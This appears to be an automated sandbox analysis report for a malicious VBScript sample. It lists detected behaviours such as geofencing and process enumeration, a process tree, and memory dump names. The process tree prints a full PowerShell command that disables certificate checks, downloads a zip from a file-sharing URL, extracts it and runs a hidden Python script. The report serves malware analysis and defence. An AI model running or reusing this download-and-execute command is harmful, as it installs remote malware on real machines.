Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/06/2026, 13:40
General
- Target 567187.vbs
- Size 178KB
- Sample260609-qyzsvaa181
- SHA256 e50e2fd4c61ba461a322f1d5a0e902983af962b3937e12c285e0e2c14c8319ed
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\567187.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=$null;Add-Type -AssemblyName Microsoft.VisualBasic;[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z=Join-Path $env:PUBLIC 'Downloads\python312x86.zip';$e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates';if(Test-Path $z){Remove-Item $z -Force};$v=[Microsoft.VisualBasic.Interaction]::CallByName((&{$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36');$w.Headers.Add('Referer','https://www.filemail.com/');$w}),'DownloadFile',[Microsoft.VisualBasic.CallType]::Method,'https://2111.filemail.com/api/file/get?filekey=naIqb7nG5KSfHo02gt3gDl3TB19fuVb7j1R_6zap6Y8EFWdYchODoyvdGtw',$z);if(Test-Path $e){Remove-Item $e -Recurse -Force};New-Item -Path $e -ItemType Directory -Force;Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($z,$e);$p=Join-Path $e 'python312x86\python.exe';$s=Join-Path $e 'python312x86\Protected.py';Start-Process -FilePath $p -ArgumentList $s -WorkingDirectory (Split-Path $s);Remove-Item $z -Force"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_44aznh0o.zec.ps1
memory/4424-16-0x0000000007470000-0x0000000007AEA000-memory.dmp
memory/4424-17-0x0000000006040000-0x000000000605A000-memory.dmp
memory/4424-3-0x00000000052C0000-0x00000000052E2000-memory.dmp
memory/4424-0-0x0000000004620000-0x0000000004630000-memory.dmp
memory/4424-5-0x00000000053D0000-0x0000000005436000-memory.dmp
memory/4424-1-0x0000000004590000-0x00000000045C6000-memory.dmp
memory/4424-13-0x0000000005610000-0x0000000005964000-memory.dmp
memory/4424-14-0x0000000005B10000-0x0000000005B2E000-memory.dmp
memory/4424-2-0x0000000004C60000-0x0000000005288000-memory.dmp
memory/4424-15-0x0000000005B50000-0x0000000005B9C000-memory.dmp
memory/4424-4-0x0000000005360000-0x00000000053C6000-memory.dmp
memory/4424-18-0x0000000006FD0000-0x000000000706C000-memory.dmp
memory/4424-19-0x0000000007070000-0x0000000007106000-memory.dmp
memory/4424-20-0x0000000006AE0000-0x0000000006B02000-memory.dmp
memory/4424-21-0x00000000080A0000-0x0000000008644000-memory.dmp
memory/4424-22-0x0000000004620000-0x0000000004630000-memory.dmp
memory/4424-23-0x0000000004620000-0x0000000004630000-memory.dmp
memory/4424-25-0x0000000007270000-0x000000000727A000-memory.dmp
memory/4424-26-0x00000000072A0000-0x00000000072B2000-memory.dmp